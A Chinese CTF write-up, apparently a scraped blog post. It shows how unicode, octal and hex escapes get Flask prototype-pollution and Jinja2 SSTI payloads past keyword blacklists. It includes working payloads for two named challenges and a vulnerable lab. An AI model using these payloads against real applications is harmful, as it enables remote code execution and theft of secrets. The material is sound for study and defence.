当前位置: 首页 > news >正文

基于flask常见trick——unicode进制编码绕过

前言

Flask 是一个轻量级的 Python Web 框架,设计上追求简洁和灵活性,适合构建中小型的 Web 应用程序。

其出题方便,经常能在CTF比赛中见到,常见题型有debug模式算pin码、ssti、原型链污染等,其中后两者属于通用漏洞,且在flask框架下有比较成体系的利用方式。

本文就编码bypass为线索,针对后两者聊下相关trick。

unicode编码绕过

字符转unicode编码脚本

def string_to_unicode(input_string):# 将每个字符转换为 Unicode 转义序列unicode_string = ''.join(f'\\u{ord(char):04x}' for char in input_string)return unicode_string# 测试字符串
input_string = "你好,世界!"# 转换为 Unicode 编码
unicode_encoded = string_to_unicode(input_string)
print(f"Original String: {input_string}")
print(f"Unicode Encoded: {unicode_encoded}")

先做个小lab

import json# 包含 Unicode 编码的 JSON 字符串
json_data = '{"message": "Hello, \\u4e16\\u754c"}'  # \\u4e16\\u754c 表示 "世界"# 使用 json.loads 解析
parsed_data = json.loads(json_data)# 输出解析结果
print(parsed_data["message"])  # 输出: Hello, 世界

为什么呢?

Python 的 json 模块根据 JSON 的规范设计,它会自动检测并解析 Unicode 转义序列(如 \uXXXX 格式),将其转换为相应的 Unicode 字符。所以在调用 json.loads() 时,无需额外处理,它会自动将 JSON 中的 Unicode 字符解析为 Python 的 Unicode 字符串。

而json.loads频繁出现在前后端交互中,如果后端的waf在json.loads之前就对流量监测,则存在unicode编码bypass的空间。

下面以两个题目为例

DASCTF2023七月暑期挑战赛EzFlask

题目链接:https://buuoj.cn/match/matches/188

源码

import uuid 
from flask import Flask, request, session
from secret import black_list
import jsonapp = Flask(__name__)
app.secret_key = str(uuid.uuid4())def check(data):for i in black_list:if i in data:return Falsereturn Truedef merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)class user():def __init__(self):self.username = ""self.password = ""passdef check(self, data):if self.username == data['username'] and self.password == data['password']:return Truereturn FalseUsers = []@app.route('/register',methods=['POST'])
def register():if request.data:try:if not check(request.data):return "Register Failed"data = json.loads(request.data)if "username" not in data or "password" not in data:return "Register Failed"User = user()merge(data, User)Users.append(User)except Exception:return "Register Failed"return "Register Success"else:return "Register Failed"@app.route('/login',methods=['POST'])
def login():if request.data:try:data = json.loads(request.data)if "username" not in data or "password" not in data:return "Login Failed"for user in Users:if user.check(data):session["username"] = data["username"]return "Login Success"except Exception:return "Login Failed"return "Login Failed"@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()if __name__ == "__main__":app.run(host="0.0.0.0", port=5010)

./register可以打python原型链污染

https://tttang.com/archive/1876/

理想状态下用这个payload可以污染file,然后访问./即可读到环境变量里的flag

{"__init__" : {"__globals__" : {"__file__" : "/proc/1/environ"}}}
}

而init被blacklist过滤了,幸运的是check是在json.loads之前执行的,可以用unicode编码绕过

{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"__globals__" : {"__file__" : "/proc/1/environ"}}}
}

XGCTF2024_easy_polluted

题目链接:https://ctf.show/challenges#easy_polluted-4403

源码

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():random_string = os.urandom(16)md5_hash = hashlib.md5(random_string)return md5_hash.hexdigest()
def filter(user_input):blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']for pattern in blacklisted_patterns:if re.search(pattern, user_input, re.IGNORECASE):return Truereturn False
def merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)app = Flask(__name__)
c = generate_random_md5()class evil():def __init__(self):pass@app.route('/',methods=['POST'])
def index():username = request.form.get('username')password = request.form.get('password')session["username"] = usernamesession["password"] = passwordprint(session["username"])print(session["password"])Evil = evil()if request.data:print(request.data)if filter(str(request.data)):return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"else:merge(json.loads(request.data), Evil)return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"return render_template("index.html")@app.route('/admin',methods=['POST', 'GET'])
def templates():username = session.get("username", None)password = session.get("password", None)print(username)print(password)if username and password:if username == "adminer" and password == app.secret_key:return render_template("flag.html", flag=open("/flag", "rt").read())else:return "Unauthorized"else:return f'Hello,  This is the POLLUTED page.'if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)

flag.html

/可以原型链污染,改掉app.secretkey之后访问/admin拿到flag

并且flag.html不是正常的渲染格式{},所以也要污染掉模板字符串

同样用unicode编码绕过黑名单

先污染jinja2模板字符串

{"__init__" : {"__globals__" : {"app" : {"jinja_env" :{
"variable_start_string" : "[#","variable_end_string":"#]"
} }}}
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0061\u0070\u0070" : {"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" :{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[#","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]"
}}}}
}

再污染secretkey

{ "__init__" : { "__globals__" : { "app" : { "secret_key" :"Z3r4y"} } } }
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0061\u0070\u0070" : {"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" :"Z3r4y"}}}
}

最后登录将username和password写进session

username=adminer&password=Z3r4y

带着响应头里的session访问/admin拿到flag

进制编码绕过

Flask 的 render_template_string 函数内部使用了 Jinja2 模板引擎,而 Jinja2 模板引擎可以解析和处理 Python 字符串中的八进制、十六进制、Unicode 转义等格式。

字符转八进制的脚本

def string_to_octal_escape(input_string):octal_escape = ''.join(f'\\{ord(char):03o}' for char in input_string)return octal_escape# 示例
input_string = "__import__('os').popen('ls /').read()"
octal_escape_string = string_to_octal_escape(input_string)
print(f"字符串 '{input_string}' 的八进制转义表示为: {octal_escape_string}")

字符转十六进制的脚本

def string_to_hex_with_prefix(input_string):# 将每个字符转换为 \x 前缀的十六进制表示hex_string = ''.join(f'\\x{ord(char):02x}' for char in input_string)return hex_string# 测试字符串
input_string = "__class__"# 转换为带 \x 前缀的十六进制编码
hex_encoded = string_to_hex_with_prefix(input_string)
print(f"Original String: {input_string}")
print(f"Hex Encoded: {hex_encoded}")

先给个lab,无限制ssti

from flask import Flask, request, render_template_stringapp = Flask(__name__)@app.route('/')
def index():# 直接将用户输入作为模板渲染name = request.args.get('name', '')# 这里直接将 name 渲染为模板字符串,导致可能的 SSTI 漏洞return render_template_string(f'Hello, {name}!')if __name__ == '__main__':app.run(debug=True, host="0.0.0.0", port=1337)

一个常见的payload:

{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}

可以用下面这种八进制编码做到减少被waf关键词,甚至无字母的攻击

{{''.__class__.foo}} → {{''['\137'+'\137'+'\143'+'\154'+'\141'+'\163'+'\163'+'\137'+'\137']foo}}

于是上述payload就可以转换成

{{config['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']("\137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\160\157\160\145\156\050\047\154\163\040\057\047\051\056\162\145\141\144\050\051")}}

但这样还是没有到无字母的程度,我们可以换一条链

先找<class 'os._wrap_close'>

{{''.__class__.__mro__[1].__subclasses__()}}
{{''["\137\137\143\154\141\163\163\137\137"]["\137\137\155\162\157\137\137"][1]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()}}

位置为137

{{''.__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}
{{''["\137\137\143\154\141\163\163\137\137"]["\137\137\155\162\157\137\137"][1]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[137]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']("\137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\160\157\160\145\156\050\047\154\163\040\057\047\051\056\162\145\141\144\050\051")}}

当然也可以unicode绕过

{{''["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u006d\u0072\u006f\u005f\u005f"][1]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[137]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u006c\u0073\u0020\u002f\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029")}}

或者十六进制编码绕过

{{''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x6d\x72\x6f\x5f\x5f"][1]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[137]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x20\x2f\x27\x29\x2e\x72\x65\x61\x64\x28\x29")}}

具体例题有很多,如2024长城杯的CandyShop,感兴趣的师傅可以复现一下。

相关文章:

  • 【rabbitmq-server】安装使用介绍
  • Mac写入U盘文件如何跨平台使用 Mac电脑怎么把U盘文件传送到电脑 mac怎么用u盘拷贝文件
  • MMD模型一键完美导入UE5-VRM4U插件方案(一)
  • 国产sql工具何时才能出头?
  • 搜维尔科技:使用Xsens动作捕捉系统和ai训练人形机器人模仿人类运动,执行复杂任务
  • Redis:事务
  • C语言进阶【6】---结构体【1】(结构体的本质你不想了解吗?)
  • Windows电脑使用VNC远程桌面本地局域网内无公网IP树莓派5
  • Redis 性能优化的高频面试题及答案
  • Xcode 16 Pod init 报错
  • Linux服务器安装Anaconda环境
  • 删除的文件能恢复吗?恢复删除文件的软件
  • 【算法-堆排序】
  • SpringCloud (1) 服务拆解
  • 感悟:糟糠之妻不下堂和现在女性觉醒的关系
  • 07.Android之多媒体问题
  • js如何打印object对象
  • Objective-C 中关联引用的概念
  • Python打包系统简单入门
  • SQLServer之索引简介
  • Vim Clutch | 面向脚踏板编程……
  • 阿里云爬虫风险管理产品商业化,为云端流量保驾护航
  • 动态规划入门(以爬楼梯为例)
  • 仿天猫超市收藏抛物线动画工具库
  • 极限编程 (Extreme Programming) - 发布计划 (Release Planning)
  • 译自由幺半群
  • 用Python写一份独特的元宵节祝福
  • ​Java基础复习笔记 第16章:网络编程
  • ​Linux Ubuntu环境下使用docker构建spark运行环境(超级详细)
  • ​学习笔记——动态路由——IS-IS中间系统到中间系统(报文/TLV)​
  • # 达梦数据库知识点
  • ######## golang各章节终篇索引 ########
  • #define与typedef区别
  • #include<初见C语言之指针(5)>
  • #Js篇:单线程模式同步任务异步任务任务队列事件循环setTimeout() setInterval()
  • (Matalb时序预测)PSO-BP粒子群算法优化BP神经网络的多维时序回归预测
  • (定时器/计数器)中断系统(详解与使用)
  • (十五)Flask覆写wsgi_app函数实现自定义中间件
  • (转)Linq学习笔记
  • (转载)跟我一起学习VIM - The Life Changing Editor
  • .apk文件,IIS不支持下载解决
  • .NET LINQ 通常分 Syntax Query 和Syntax Method
  • .NET+WPF 桌面快速启动工具 GeekDesk
  • .NET多线程执行函数
  • .pop ----remove 删除
  • /etc/motd and /etc/issue
  • @RequestMapping 的作用是什么?
  • @value 静态变量_Python彻底搞懂:变量、对象、赋值、引用、拷贝
  • []指针
  • [⑧ADRV902x]: Digital Pre-Distortion (DPD)学习笔记
  • [ASP]青辰网络考试管理系统NES X3.5
  • [BZOJ2281][SDOI2011]黑白棋(K-Nim博弈)
  • [codevs] 1029 遍历问题
  • [CQOI 2010]扑克牌
  • [hive] posexplode函数